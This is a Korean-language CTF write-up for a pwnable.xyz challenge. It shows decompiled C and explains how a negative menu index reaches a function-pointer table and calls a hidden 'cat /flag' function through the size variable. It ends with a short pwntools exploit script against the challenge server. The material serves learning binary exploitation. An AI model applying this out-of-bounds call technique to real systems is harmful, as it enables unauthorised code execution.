

Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

malloc 으로 메모리를 할당하고 read로 입력을 하고 write로 출력을 하고 free로 메모리를 해제하는걸 원하는 것 같은 실행파일이다.
[main]
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // [rsp+Ch] [rbp-4h]
setup(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_long();
if ( v3 <= 4 )
(*(&vtable + v3))();
else
puts("Invalid.");
}
}
main은 아주 간단하다. menu를 출력해주고 메뉴 인덱스를 입력받는데 vtable을 통해 함수들을 호출해주고 있다.

vtable에는 메뉴 인덱스 순서대로 exit, malloc, free, read, write함수의 주소가 적혀있다.
do_malloc함수부터 확인해보자.
[do_malloc]
void *do_malloc()
{
unsigned __int64 v0; // rax
void *result; // rax
printf("Size: ");
v0 = read_long();
size = v0;
result = malloc(v0);
if ( result )
heap_buffer = result;
else
heap_buffer = (void *)1;
return result;
}
size를 입력받아서 해당 값만큼 malloc으로 공간을 heap_buffer에 할당해준다. 만약 malloc이 실패하면 heap_buffer에 1을 넣어준다.

heap_buffer는 vtable 8byte위에 존재한다.
do_free함수도 확인해보자.
[do_free]
void do_free()
{
if ( heap_buffer == (void *)1 )
{
puts("Not allocated.");
}
else
{
free(heap_buffer);
heap_buffer = (void *)1;
}
}
heap_buffer를 free해주고 heap_buffer에 1을 넣어준다.
[do_read]
int do_read()
{
int result; // eax
if ( heap_buffer == (void *)1 )
result = puts("Not allocated.");
else
result = read(0, heap_buffer, size);
return result;
}
do_read 함수는 heap_buffer에 아까 입력받은 size만큼 read를 해준다.
[do_wirte]
int do_write()
{
int result; // eax
if ( heap_buffer == (void *)1 )
result = puts("Not allocated.");
else
result = write(1, heap_buffer, size);
return result;
}
마지막으로 do_write는 heap_buffer에 있는 값을 size만큼 출력해준다.
그리고
int _() { return system("cat /flag"); } |
이렇게 "cat /flag"를 해주는 함수도 존재한다. 이번에는 특이하게 이름이 win이 아니라 _이다.. 나름 숨기려고 이렇게 해놓은건가..?
메뉴 인덱스를 입력받는 read_long함수도 보자.
unsigned __int64 read_long()
{
char s[40]; // [rsp+10h] [rbp-30h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(s, 0, 0x20uLL);
s[(signed int)((unsigned __int64)read(0, s, 0x20uLL) - 1)] = 0;
return strtoul(s, 0LL, 0);
}
stroul함수를 사용하여 입력값을 return하는데 stroul함수는 문자열을 unsigned long형으로 변환해주는 함수이다.
만약 메뉴 인덱스에 -1을 입력하면 vtable[-1]에 접근하여 heap_buffer부분을 호출하고 -2를 입력하면 vtable[-2]를 호출할 것이다.

vtable[-2]에는 size가 존재한다. 그러면 do_malloc에서 size를 입력할 때 "_" 함수의 주소를 입력하고 vtable[-2]를 실행시키면 "cat /flag"가 실행될 것이다.
엄청 간단한 문제이다.
[payload]
from pwn import *
context.log_level = 'debug'
r = remote("svc.pwnable.xyz", 30007)
win = 0x400a31
r.sendlineafter("> ", "1")
r.sendlineafter(": ", str(int(win)))
r.sendlineafter("> ", "-2")
r.interactive()

'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] TLSv00 (0) | 2020.05.29 |
---|---|
[pwnable.xyz] Free Spirit (0) | 2020.05.26 |
[pwnable.xyz] two targets (0) | 2020.05.26 |
[pwnable.xyz] xor (0) | 2020.05.19 |
[pwnable.xyz] note (0) | 2020.05.08 |